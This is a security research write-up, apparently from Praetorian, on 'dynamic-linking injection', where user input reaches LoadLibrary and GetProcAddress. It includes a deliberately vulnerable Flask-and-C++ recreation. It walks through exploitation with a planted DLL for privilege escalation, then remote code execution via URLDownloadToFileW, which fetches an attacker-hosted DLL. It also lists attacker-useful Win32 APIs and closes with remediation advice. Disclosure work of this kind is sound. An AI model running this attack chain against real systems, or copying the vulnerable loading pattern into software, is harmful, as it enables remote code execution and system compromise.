Dynamic-Linking Injection and LOLBAS Fun


LoadLibrary and LoadLibraryEx are how Windows applications load shared libraries at runtime. Praetorian recently tested a .NET web application that unsafely passed user input into LoadLibrary. In this article, we discuss this vulnerability class, dubbed dynamic-linking injection. We begin with an explanation of the vulnerability. We then walk through a simple recreation of the target web application to demonstrate how to detect and exploit dynamic-linking injection. Finally, we close by combining the vulnerability with a well-known attack technique to create a fully remote exploit.

Praetorian is unaware of other public write-ups on similar issues. As such, this may be a novel (albeit uncommon) vulnerability class.

What is Dynamic-Linking Injection?

Windows libraries are typically compiled into “dynamic linked libraries” (DLLs). DLLs can be loaded at runtime and shared between processes. DLLs allow multiple processes to use the same code and reduce overall memory overhead.

DLLs can be linked statically to a binary or loaded dynamically at run-time. To load a DLL at run-time, an application must call LoadLibrary or LoadLibraryEx. These functions return a handle to the library. The calling application typically passes the handle to GetProcAddress to import specific functions from the library. See the simple example below:


#include <windows.h> 
#include <stdio.h> 

typedef DWORD (__cdecl *MYFUNC)(); 

int main( void ) 
    HMODULE hModule; 
    MYFUNC funcPtr {}; 
    BOOL loadRes, freeRes = FALSE; 

    // Load DLL
    hModule = LoadLibraryA("Library.dll"); 

    // Import function
    if (hModule) 
        funcPtr = (MYFUNC)GetProcAddress(hModule, "MethodName"); 

        // Invoke the function
        if (funcPtr) 
            loadRes = TRUE;
        // Free the library module.
        freeRes = FreeLibrary(hModule); 
        if (!freeRes) 
            printf("Failed to free library.\n"); 

    return 0;

Dynamic-linking injection arises when the user controls the strings passed to LoadLibrary or GetProcAddress. If a user can modify these values and the application does not implement sufficient protections, the user can load arbitrary libraries and/or invoke arbitrary functions.

Because loading a DLL implies running the DLL’s DllMain function, LoadLibrary injection is likely to be more impactful than GetProcAddress injection alone. An attacker with control over the input values to both LoadLibrary and GetProcAddress can execute a variety of critical-risk attacks against the target application.

The Target Application

We recreated a minimal working example of the application to avoid revealing sensitive information about our client. The example application consists of three components: a flask web server, a C++ “worker” executable, and one or more “plugin” DLLs.

The Web Server:


from flask import Flask, render_template, request
import subprocess

app = Flask(__name__)
PLUGIN_DIR = 'Plugins\\'

def index():
    messages = [{'title': 'Praetorian', 'content': 'Hasher Test Application'}]
    return render_template('index.html', messages=messages)

@app.route('/hash', methods=('GET', 'POST'))
def hash():
    hashes = []
    if request.method == 'POST':
        cmd = [
                PLUGIN_DIR + 'Worker.exe',

        output = subprocess.run(cmd, stdout=subprocess.PIPE)
        returnVals = output.stdout.decode("utf-8").split('\r\n')
        if len(returnVals) < 2:
            returnVals = ['ERROR', 'ERROR']

        hashes=[{'clear': returnVals[0], 'hashed': returnVals[1]}]
    return render_template('hash.html', hashes=hashes)

app.run(host='', port=80)

The Worker Executable:


#include <windows.h> 
#include <iostream>


size_t BUFSIZE = 256;

const wchar_t* CToW(const char* c)
    size_t nChars = strlen(c) + 1;

    wchar_t* ws = new wchar_t[nChars];
    char* p = (char*)ws;
    for (int i = 0; i < nChars; i++)
        p[i * 2] = c[i];
        p[i * 2 + 1] = '\0';

    return ws;

int main(int argc, const char** argv)
    HMODULE hinstLib;
    ENGINEPROC ProcessData{};
    BOOL fRunTimeLinkSuccess = FALSE;
    DWORD ID, operation, mode;
    LPCTSTR title, data;
    HRESULT res;

    try {
        std::string pluginsDir = "Plugins\\";
        std::string pluginName(argv[1]);
        std::string pluginPath = pluginsDir + pluginName;

        hinstLib = LoadLibraryA(pluginPath.c_str());

        if (NULL == hinstLib)
            std::cout << "Failed to load: " << pluginPath << std::endl;
            throw std::invalid_argument("Failed to process.");

        ProcessData = (ENGINEPROC)GetProcAddress(hinstLib, argv[2]);
        if (NULL != ProcessData)
            ID = atol(argv[3]);
            title = CToW(argv[4]);
            data = CToW(argv[5]);
            operation = atol(argv[6]);
            mode = atol(argv[7]);

            res = ProcessData(ID, title, data, operation, mode);
            fRunTimeLinkSuccess = TRUE;

        if (!fRunTimeLinkSuccess)
            std::cout << "Failed to invoke method: " << argv[2] << std::endl;
            throw std::invalid_argument("Failed to process.");
    catch (...) {
        std::cout << "Unable to process data with those arguments." << std::endl;

    return 0;

As seen above, the worker process accepted several command line arguments. The first two loaded a library and imported a function from that library, respectively. The remaining arguments were passed off to the function. This flexibility allowed developers to quickly write plugins and additional features for the application without edits to the primary code base.

The Plugin

For this write-up, we wrote a single plugin to create a SHA256 hash of the input data. We compiled this plugin as a DLL named DataEngine and exported a single function ProcessData:


#include "DataEngine.h"
#include "sha256.h"
#include "windows.h"
#include "string.h"
#include <string>

HRESULT ProcessData(DWORD id, LPCTSTR nodeName, LPCTSTR data, DWORD operation, DWORD mode)
    wchar_t outputClear[256];
    swprintf(outputClear, 256, L"%d:%s:%s:%d:%d", id, nodeName, data, operation, mode);
    std::wcout << outputClear << std::endl;

    SHA256 sha256;
    std::wstring ws(outputClear);
    std::string hashString(ws.begin(), ws.end());
    std::cout << sha256(hashString) << std::endl;
    return S_OK;

Although contrived, these three components sufficiently recreate the vulnerable functionality of our client’s application.

We complete the remainder of this write-up from a blackbox perspective to demonstrate that source code is unnecessary to identify dynamic-linking injection.

Identifying Dynamic-Linking Injection

Without Local Access

We initially discovered dynamic-linking injection without direct access to the vulnerable application. We turn to the example application to demonstrate this process.

The example application is simple. It accepts five different input fields, calculates the SHA256 hash of those fields, and returns the hash in HTML to the user (see figure 1).

Figure 1: The example application before (left) and after (right) submitting data.

In Burp Proxy, we can examine the HTTP request this submission made, as seen in figure 2.

Figure 2: The HTTP request our example application sent.

In addition to the five parameters from the HTML form, the request includes two hidden parameters: engine and method. By modifying these parameters, the application returns interesting error messages that we can see in figure 3.

Figure 3: Two error messages we evoked by modifying two hidden fields.

The error messages indicate that a remote attacker has full control over the library and method names. It is also worth noting that the application searches for the supplied library in the Plugins\ directory.

In cases where the application does not return verbose error messages and the library and method parameters do not have obvious names, identifying dynamic-linking injection may not be feasible without direct access to the vulnerable application. Where possible, security researchers should obtain local access to the target application, where they can acquire additional information.

With Local Access

Sysinternals is a collection of Windows system utilities maintained by Microsoft. This blog post uses Process Explorer and Process Monitor to identify dynamic-linking injection. We can use Process Explorer to first retrieve the PID of the web server, as in figure 4.

Figure 4: Retrieving the web server’s PID via Process Explorer.

With the PID in hand, we can use Process Monitor to search for potential dynamic-linking injections by filtering for all Load Image process events belonging to process 9928, as in figure 5.

Figure 5: Filtering for all Load Image process events belonging to process 9928, via Process Monitor.

After setting the filter and clicking “OK”, Process Monitor will capture process events. We then repeat the initial HTTP request to trigger all relevant behavior. This generates dozens of entries in Process Monitor, including the “Process Create” event in figure 6.

Figure 6: Repeating the request for all relevant behavior via Process Monitor, and finding an entry for Process Create.

Double-clicking on this entry displays additional information about the event, including the child process’s binary path and command-line arguments (see figure 7).

Figure 7: Opening the Process Create event to find the process’s binary path and command-line arguments.

We note that DataEngine and ProcessData appear as command-line arguments. We also note that the child process is named “Worker.exe”.

We can repeat this process with Worker.exe as a “Process Name” filter. To further refine our search, we can add DataEngine as a “Path” filter in figure 8.

Figure 8: Refining results by filtering with Process Name set to “Worker.exe” and Path set to “DataEngine”.

After repeating the HTTP request, we capture additional events (see figure 9).

Figure 9: Events the most recent filtered search captured, including an indication that the web server passed the user parameter to `Load Library`. 

Because DataEngine is both a command-line argument and the name of the DLL in the Load Image event above, the above output indicates Worker.exe passes this argument to LoadLibrary. For additional confirmation, we could repeat this process by supplying different values for engine in the initial HTTP request and checking the Process Monitor output to determine if it reflects our changes.

The Load Image event above stands out because it references a string from a user-controlled parameter. Loading DLLs whose names appear in user input parameters is a good indicator of dynamic-linking injection.

Unfortunately, Process Monitor does not provide data on individual function calls. To confirm what functions are called from DataEngine.dll, we could use WinDBG (discussed later) or Frida (not discussed in this article).

Exploiting Dynamic-Linking Injection

With Write Access

If the application runs as a privileged user, an attacker with local access to the host machine can abuse this vulnerability to elevate privileges to those of the service account. With local access, the attacker can plant a malicious DLL on the filesystem and abuse dynamic-linking injection to load the malicious library. The attacker could put code inside the library’s DllMain function to start a reverse shell, inject into another process, read or write sensitive files, or perform other malicious actions. For this writeup, we use a simple DLL that runs a single function in DllMain and exports no methods. The function prints the username and PID of the running process:



#include <iostream>
#include <string>
#include <fstream>

void attackerMethod()
    const char* outfileName = "C:\\Users\\Public\\info.txt";
    DWORD pid = GetCurrentProcessId();
    char username[64];
    DWORD username_len = 64;
    GetUserNameA((LPSTR)username, &username_len);

    std::string infoMessage = "Username: " + std::string(username) + "\n";
    infoMessage += "Process ID: " + std::to_string(pid) + "\n";

    std::ofstream outfile;
    outfile << infoMessage;

                      DWORD  ul_reason_for_call,
                      LPVOID lpReserved
    switch (ul_reason_for_call)
    return TRUE;

Local Privilege Escalation

After compiling the code into a DLL, we plant the library in any world-writable location, such as C:\Users\Public (see figure 10).

Figure 10: Writing EvilDll to C:\Users\Public.

We then repeat the POST request from Burp Repeater to escape the Plugins directory and execute the malicious library, as figure 11 shows.

Figure 11: Repeating the POST request from Burp Repeater to escape the Plugins directory and execute EvilDLL.

The application returns an error about failing to export the Foobar method, but we expected this since the malicious DLL did not export any functions.

If we check in the C:\Users\Public directory, we see that the info.txt file was created (see figure 12).

Figure 12: An info.txt file now exists in C:\Users\Public.

The info.txt file demonstrates that the DLL code was successfully executed as SYSTEM.

Without Write Access

Depending on the application, an attacker may be able to exploit dynamic-linking injection without first planting a malicious binary on the local filesystem. This situation could arise when the vulnerability is exposed through a web application or if the vulnerable application does not perform LoadLibrary outside of a narrow set of trusted directories.

To fully develop and weaponize this type of exploit, security researchers are likely to require local access to the vulnerable binary (Worker.exe). We will use WinDBG to analyze how Worker.exe loads its engine library and invokes a method from within it. Once developed, the attack can be performed without local access.

Further Investigation with WinDBG

We first test that the command-line invocation of Worker.exe from the previous section works as expected (see figure 13).

Figure 13: Testing the command-line invocation of Worker.exe.

After launching WinDBG, we can run Worker.exe by clicking “File” > “Open Executable”,  selecting Worker.exe, and providing the above command line arguments. We also must specify the working directory, which we learned from Process Monitor and which figure 14 shows.

Figure 14: Specifying the working directory and command-line arguments to Worker.exe in WinDBG.

We see in figure 15 how, upon clicking “Open”, WinDBG starts the application in a debugging environment.

Figure 15: Starting the Worker.exe application in WinDBG.

We first set an exception to break when the DataEngine library is loaded with the sxe ld command (see figure 16).

Figure 16: Setting an exception to break when Worker.exe loads the DataEngine library.

We then can examine the call stack with k to see the call to LoadLibrary, as in figure 17.

Figure 17: The call stack before LoadLibrary.

We note the relative return address from Worker!main after LoadLibraryA completes. With DataEngine.dll loaded, we can set a breakpoint at Worker!main+0x97 to return to the Worker.exe code execution context. We can then use unassemble (u) to view the assembly code responsible for importing and calling ProcessData, as figure 18 demonstrates.

Figure 18: Using u to disassemble Worker.exe’s main function.

The red highlights in figure 18 are the key instructions. First, the application makes a call instruction to GetProcAddress and moves the result from rax into rsi. Finally, the value in rsi is passed to call and invoked as a function pointer.

Our mission now is to determine the function signature of the method returned by GetProcAddress. We can achieve this by looking at how Worker!main passes arguments to DataEngine!ProcessData. 64-bit Windows applications typically pass the first four arguments in the rcx, rdx, r8, and r9 registers and the remaining arguments on the stack.

With this in mind, we can determine the ProcessData function signature by examining the instructions just before call rsi, which we highlighted in blue in figure 18. The application calls mov against all four argument registers and one additional stack variable.

We can set another breakpoint at the address of call rsi and run g to continue execution until the breakpoint. Having done so, we can examine each variable directly (see figure 19).

Figure 19: Hitting the breakpoint at the function pointer in rsi and examining the function parameters.

These are the same values passed in as command-line arguments. We can then use p to step over call rsi and examine rax to determine the return value (as in figure 20).

Figure 20: Determining the return value by examining rax.

Without source code, we can’t be certain of the exact type of each value. However, based on the above output, we can reasonably assume that the function signature of ProcessData is something akin to the following:


Or, for non-Windows code:


long ProcessData(long, wchar_t*, wchar_t*, long, long);

We now abuse this knowledge to complete the attack.

Living Off The Land

Recall that in this scenario, the attacker does not have the ability to plant a malicious DLL on the filesystem. However, the Windows operating system contains numerous native libraries and executables installed by default. In theory, an attacker can call any method from a native library so long as it somewhat resembles the signature in figure 20.

Employing native OS files in an attack is a technique known as “Living off the Land (with Binaries and Scripts)”, or “LOL(BAS)”. In our experience, the signatures don’t have to be an exact match, so long as the differences do not meaningfully impact the behavior of the chosen function. For example, the following signatures may prove to be “close enough” to the signature recovered in the previous section:



Other, more complicated signatures may also be compatible depending on how the function uses misaligned arguments, how the application calls the function, the application’s calling convention, and other factors.

We must choose a function that meets the following criteria:

  1. It must do something useful for an attacker.
  2. It must be present in a predictable location in default installations of Windows.
  3. Its signature must be compatible with the signature recovered from WinDBG.

In this case, the URLDownloadToFileW function from urlmon.dll meets each of these requirements:


HRESULT URLDownloadToFile(
            LPUNKNOWN            pCaller,
            LPCTSTR              szURL,
            LPCTSTR              szFileName,
  _Reserved_ DWORD                dwReserved,

pCaller is an optional parameter to specify an IUnknown interface. We want this to be null. szURL is a UTF-16 string of the URL to retrieve data from. szFileName is a UTF-16 string of the file name to save the data as. dwReserved is an unused parameter and must be null. lpfnCB is a optional pointer to an IBindStatusCallback interface, which we also want to be null. These parameters map to id, title, content, operation, and node, respectively.

With this in mind, we can trigger a remote download like the one in figure 21.

Figure 21: Triggering a remote download using URLDownloadToFileW.

This triggers a GET request on the remote web server as figure 22 demonstrates.

Figure 22: Triggering a GET request to the remote web server.

This demonstrates that the above HTTP request successfully loaded urlmon.dll
and invoked URLDownloadToFileW in Worker.exe.

An attacker could weaponize this attack by using the above technique to download a custom DLL into a predictable location and then send a second request to load and execute code from this DLL. We demonstrate this next.

Remote Code Execution

We add and export the following method in EvilDLL.dll to demonstrate this point:


    system("whoami > C:\\Users\\Public\\remote_info.txt");
    return 0;

We recompile EvilDLL.dll and host it on the attacker web root. We then issue the following request to the target machine to download the DLL (see figure 23).

Figure 23: Instructing the target machine to download EvilDLL.

After verifying the Apache logs for the download (see figure 24)…

Figure 24: Verifying the apache logs for download.

…we trigger the DLL (see figure 25).

Figure 25: Triggering the download of EvilDLL.

We can check C:\Users\Public\remote_info.txt on the target machine to confirm the OS command executed successfully, as in figure 26.

Figure 26: Confirming the OS command execution was successful.

Other Useful Native Windows Methods

In the above example, we used URLDownloadToFileW to download a remote DLL onto the target file system. We chose this function because its function signature was similar to the function imported by the Worker.exe process. However, URLDownloadToFileW will not work in all situations. To exploit dynamic-linking injection in other situations, different functions may be needed.

Praetorian identified the following Win32 API methods as being of potential use to security researchers when exploiting dynamic-linking injection. Praetorian chose the following functions because they may be useful to an attacker and are in predictable locations. Recall that the function signatures do not have to match perfectly, so it is worth trying even partial matches.

This serves only as a first enumeration, as there most likely are others on Windows that perform useful features for an attacker. Note also that many Win32 APIs have both ANSI (A) and wide-character (W) variants.

ShellExecute – Performs an operation (execution, read, write, and more) on a specified file.


HINSTANCE ShellExecuteA(
  [in, optional] HWND   hwnd,
  [in, optional] LPCSTR lpOperation,
  [in]           LPCSTR lpFile,
  [in, optional] LPCSTR lpParameters,
  [in, optional] LPCSTR lpDirectory,
  [in]           INT    nShowCmd

WinExec – Runs a specified application


UINT WinExec(
  [in] LPCSTR lpCmdLine,
  [in] UINT   uCmdShow

CreateProcess – Creates a new process


BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation

ReadFile – Reads a specified file


BOOL ReadFile(
  [in]                HANDLE       hFile,
  [out]               LPVOID       lpBuffer,
  [in]                DWORD        nNumberOfBytesToRead,
  [out, optional]     LPDWORD      lpNumberOfBytesRead,
  [in, out, optional] LPOVERLAPPED lpOverlapped

DeleteFile – Deletes a specified file


BOOL DeleteFileA(
  [in] LPCSTR lpFileName

CreateDirectory – Creates a new directory


BOOL CreateDirectoryA(
  [in]           LPCSTR                lpPathName,
  [in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes

ExitWindowsEx – Logs off the interactive user and shuts down the system


BOOL ExitWindowsEx(
  [in] UINT  uFlags,
  [in] DWORD dwReason

Remediating Dynamic-Linking Injection

Dynamic-linking injection is fundamentally a problem with untrusted user input. Due to the highly impactful consequences, we advise preventing users from passing any input into LoadLibrary, LoadLibraryEx, or GetProcAddress.

Where this is not feasible, user input should be strictly validated, and all DLLs should be loaded from known, trusted locations. Developers should structure their application files not to require the ..\ character sequence to load different libraries. Depending on the use case, incorporating the dwFlags argument to LoadLibraryEx may further restrict library access without impairing application functionality.

Concluding Thoughts

Dynamic-linking injection offers an interesting, albeit uncommon, vulnerability class. While the prerequisites for this attack make it a difficult attack vector, the consequences can be devastating. Depending on the nature of the calling application, an attacker could abuse this for several high-impact attacks, as discussed in this article.

As with many exploits, this vulnerability is fundamentally a problem with handling untrusted user input. LoadLibrary, LoadLibraryEx, and GetProcAddress are not common destinations for user input, which may lead developers to apply less scrutiny when handling library file paths partially under the user’s control. Similar vulnerabilities may arise from untrusted user input passed to GetModuleHandle, though we did not discuss them in this article.

Furthermore, similar issues may arise on Linux and MacOS systems when loading shared libraries (.so) or dynamic libraries (.dylib) via dlopen and dlsym. These functions are rough equivalents to LoadLibrary and GetProcAddress, respectively.